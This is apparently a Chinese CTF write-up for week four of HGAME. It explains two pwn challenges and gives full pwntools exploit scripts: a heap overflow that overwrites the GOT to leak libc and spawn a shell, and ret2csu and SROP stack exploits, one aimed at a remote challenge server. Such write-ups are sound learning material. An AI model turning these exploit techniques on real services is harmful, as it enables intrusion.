第四周只放出两道题,也不是很难。
house_of_cosmos
没开pie,并且可以打got表。
在自写的输入函数存在漏洞。当a2==0时,因为时int类型,这里就会存在溢出。菜单题,但是没有输出功能。
思路:利用溢出将chunk申请到bss段,控制chunk指针,改写free为puts函数,进行泄露libc地址,改写atoi为system拿shell。
1 from pwn import * 2 3 p = process(\'./pwn\') 4 elf = ELF(\'./pwn\') 5 libc = ELF(\'./libc.so.6\') 6 context.log_level = \'debug\' 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 def add(size,content): 12 p.sendlineafter(\'choice >> \',\'1\') 13 p.sendlineafter(\'data? >> \',str(size)) 14 p.sendafter(\'someting >> \',content) 15 def delete(index): 16 p.sendlineafter(\'choice >> \',\'2\') 17 p.sendlineafter(\'id >> \',str(index)) 18 def edit(index,content): 19 p.sendlineafter(\'choice >> \',\'4\') 20 p.sendlineafter(\'id >> \',str(index)) 21 p.sendlineafter(\'something >> \',content) 22 23 puts_plt = 0x00401040 24 25 add(0x0,\'aaaaaaa\n\') #0 26 add(0x68,\'bbbbbbb\n\') #1 27 add(0x10,\'ccccccc\n\') #2 28 delete(1) 29 edit(0,\'a\'*0x10+p64(0)+p64(0x71)+p64(0x4040a0-3)) 30 add(0x68,\'aaaaaaa\n\') #1 31 delete(2) 32 add(0x68,\'zzz\'+\'zzzzzzzz\'*2+p64(0x0404018)+\'\x80\n\') #2 33 edit(0,\'\x46\x10\x40\x00\x00\n\') 34 edit(2,\'zzz\'+\'zzzzzzzz\'*2+p64(elf.got[\'puts\'])+\'\x80\n\') #2 35 delete(0) 36 libc_base = u64(p.recvuntil(\'\x7f\')[-6:].ljust(8,\'\x00\'))-libc.symbols[\'puts\'] 37 print \'libc_base-->\'+hex(libc_base) 38 system = libc_base+libc.symbols[\'system\'] 39 edit(2,\'zzz\'+\'zzzzzzzz\'*2+p64(elf.got[\'atoi\'])+\'\x80\n\') #2 40 edit(0,p64(system)+\'\n\') 41 p.sendlineafter(\'choice >> \',\'/bin/sh\x00\') 42 p.interactive()
rop_senior
感觉这题应该是想考srop的,因为没有pop_rdi_ret的片段可以使用。但是程序不是用汇编写的,所以存在csu。可以利用csu给寄存器赋值,泄露libc地址来做。(非预期)
1 from pwn import * 2 from LibcSearcher import * 3 #p = process(\'./pwn\') 4 p = remote(\'159.75.113.72\',30405) 5 elf = ELF(\'./pwn\') 6 context(os=\'linux\',arch=\'amd64\',log_level=\'debug\') 7 8 csu_end = 0x004006CA 9 csu_front = 0x004006B0 10 csu_front1 = 0x004006B6 11 puts_got = elf.got[\'puts\'] 12 vuln = 0x0040062A 13 start = elf.symbols[\'_start\'] 14 og = [0x4f3d5,0x4f432,0x10a41c] 15 16 payload = \'a\'*0x8 # r12->call r13->rdx r14->rsi r15->rdi 17 payload += p64(csu_end)+p64(0)+p64(1)+p64(puts_got)+p64(puts_got)+p64(puts_got)+p64(puts_got)+p64(csu_front1)+\'a\'*0x38+p64(start) 18 19 p.sendafter(\'best\n\',payload) 20 puts = u64(p.recvuntil(\'\x7f\').ljust(8,\'\x00\')) 21 libc = LibcSearcher("puts",puts) 22 libc_base = puts-libc.dump("puts") 23 system = libc_base+libc.dump("system") 24 binsh = libc_base+libc.dump("str_bin_sh") 25 print \'libc_base-->\'+hex(libc_base) 26 shell = libc_base+og[2] 27 28 payload = \'a\'*0x8+p64(shell) 29 p.send(payload) 30 p.interactive()
预期解是用srop做,其实还是有点手生,当时没做,赛后看了一眼wp写出来的。
1 from pwn import * 2 3 p = process(\'./pwn\') 4 elf = ELF(\'./pwn\') 5 context(os=\'linux\',arch=\'amd64\',log_level=\'debug\') 6 7 bss = elf.bss()+0x100 8 vuln = 0x40062a 9 syscall = 0x400647 10 11 sigframe = SigreturnFrame() 12 sigframe.rax = constants.SYS_read 13 sigframe.rdi = 0 14 sigframe.rsi = bss 15 sigframe.rdx = 0x400 16 sigframe.rsp = bss 17 sigframe.rip = syscall 18 p.sendafter(\'best\', \'a\'*8 + p64(vuln) + p64(syscall) + str(sigframe)) 19 p.sendafter(\'best\', \'a\'*8 + p64(syscall)[:7]) 20 21 sigframe = SigreturnFrame() 22 sigframe.rax = constants.SYS_execve 23 sigframe.rdi = bss + 0x200 24 sigframe.rsi = 0x0 25 sigframe.rdx = 0x0 26 sigframe.rip = syscall 27 p.send((\'a\'*8 + p64(vuln) + p64(syscall) + str(sigframe)).ljust(0x200,\'b\') +"/bin/sh\x00") 28 p.sendafter(\'best\',\'a\'*8 + p64(syscall)[:7]) 29 p.interactive()
后记
持续一个月的hgame结束了!